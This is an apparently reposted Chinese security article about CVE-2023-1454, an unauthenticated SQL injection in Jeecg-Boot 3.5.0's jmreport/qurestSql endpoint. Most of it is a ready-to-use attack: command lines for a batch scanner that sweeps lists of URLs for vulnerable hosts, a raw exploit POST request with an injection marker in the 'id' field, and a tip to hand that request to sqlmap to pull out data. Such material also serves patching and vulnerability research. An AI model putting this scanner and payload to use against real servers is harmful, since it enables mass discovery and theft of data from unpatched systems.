jmreport/qurestSql 未授权SQL注入批量扫描poc
2023-4-8 18:30:43 Author: Ots安全(查看原文) 阅读量:45 收藏

jmreport/qurestSql 未授权SQL注入批量扫描poc Jeecg-Boot是一款基于Spring Boot和Jeecg-Boot-Plus的快速开发平台,最新的jeecg-boot 3.5.0 中被爆出多个SQL注入漏洞。

工具利用

python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 单个url测试

python3 CVE-2023-1454-scan.py -f url.txt 批量检测

扫描结束后会在当前目录生成存在漏洞url的vuln.txt

poc:

exp:

将数据包保存为txt用sqlmap可得到数据

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/json;charset=UTF-8Content-Length: 129
{"apiSelectId":"1290104038414721025","id":"1*"}

项目地址:https://github.com/MzzdToT/CVE-2023-1454


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247497219&idx=1&sn=9669ce6f57bc96fadb03729a4283d836&chksm=9badbf48acda365e1145673182ab5a448d4e0ebdfccd9b738379c4c208aaf1fdc7dfc6cfef95#rd
如有侵权请联系:admin#unsafe.sh